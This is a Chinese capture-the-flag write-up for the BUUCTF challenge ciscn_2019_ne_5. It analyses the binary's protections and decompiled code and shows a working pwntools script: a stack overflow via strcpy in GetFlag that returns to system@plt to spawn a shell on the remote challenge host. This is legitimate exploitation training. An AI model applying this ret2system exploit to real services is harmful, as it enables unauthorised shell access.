BUUCTF ciscn_2019_ne_5
Thursday, December 29, 2022
本文共843字
2分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/ciscn_2019_ne_5/。商业转载请联系作者获得授权,非商业转载请注明出处!
You may say I’m a dreamer, but I’m not the only one, I hope someday you will join us, and the world will live as one.
— John Lennon
原题链接
checksec查看程序架构
$ checksec --file ciscn_2019_ne_5
[*] '/home/peterl/security/workspace/ciscn_2019_ne_5/ciscn_2019_ne_5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida查看程序伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *v9; // [esp+F4h] [ebp-Ch]
v9 = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog(src);
result = sub_804892B(argc, argv, envp);
break;
case 2:
Display(src);
result = sub_804892B(argc, argv, envp);
break;
case 3:
Print();
result = sub_804892B(argc, argv, envp);
break;
case 4:
GetFlag(src);
result = sub_804892B(argc, argv, envp);
break;
default:
result = sub_804892B(argc, argv, envp);
break;
}
return result;
}
首先我们找到了密码为administrator,然后我们看到下面的switch-case语句
经过分析我们发现只有当case为1时能够输入128个字符:
但是保存输入的变量不在当前栈中,而且在原本的main函数中传入的参数也只是一个保存地址的4字节变量,因此对原本的main函数也构成不了溢出。
但是我们又发现,我们在src变量所指的内存中保存的数据会被别的函数利用:
同时我们发现plt表中有system
:
$ readelf -r ciscn_2019_ne_5
重定位节 '.rel.dyn' at offset 0x3c4 contains 4 entries:
偏移量 信息 类型 符号值 符号名称
08049ff0 00000506 R_386_GLOB_DAT 00000000 stderr@GLIBC_2.0
08049ff4 00000906 R_386_GLOB_DAT 00000000 __gmon_start__
08049ff8 00000c06 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08049ffc 00000d06 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
重定位节 '.rel.plt' at offset 0x3e4 contains 10 entries:
偏移量 信息 类型 符号值 符号名称
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 strcmp@GLIBC_2.0
0804a014 00000307 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a018 00000407 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 strcpy@GLIBC_2.0
0804a020 00000707 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a024 00000807 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a028 00000a07 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a02c 00000b07 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a030 00000e07 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
在这题中Display
函数没有用,但是如果题目的plt表中system
函数就可以通过Display
函数泄露基址来ret2libc。
这里我们看到我们输入的数据在GetFlag
函数中会被strcpy
保存在它栈中的一个变量中,这样我们就可以间接地栈溢出了
构建exp
from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher
pss: bool = True
fn: str = "./ciscn_2019_ne_5"
libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = "25151"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
p = gdb.debug(fn, "break main")
else:
p = process(fn,env={"LD_PRELOAD":libc_name})
m_elf = ELF(fn)
bin_sh = 0x80482EA
p.clean()
p.sendline(b"administrator")
p.clean()
p.sendline(b"1")
payload = b"a"*(0x48 + 0x4) + \
pg(m_elf.plt['system']) \
+ pg(m_elf.plt['exit']) + pg(bin_sh)
p.sendline(payload)
p.clean()
p.sendline(b'4')
p.clean()
p.interactive()
扫码阅读此文章
点击按钮复制分享信息
点击订阅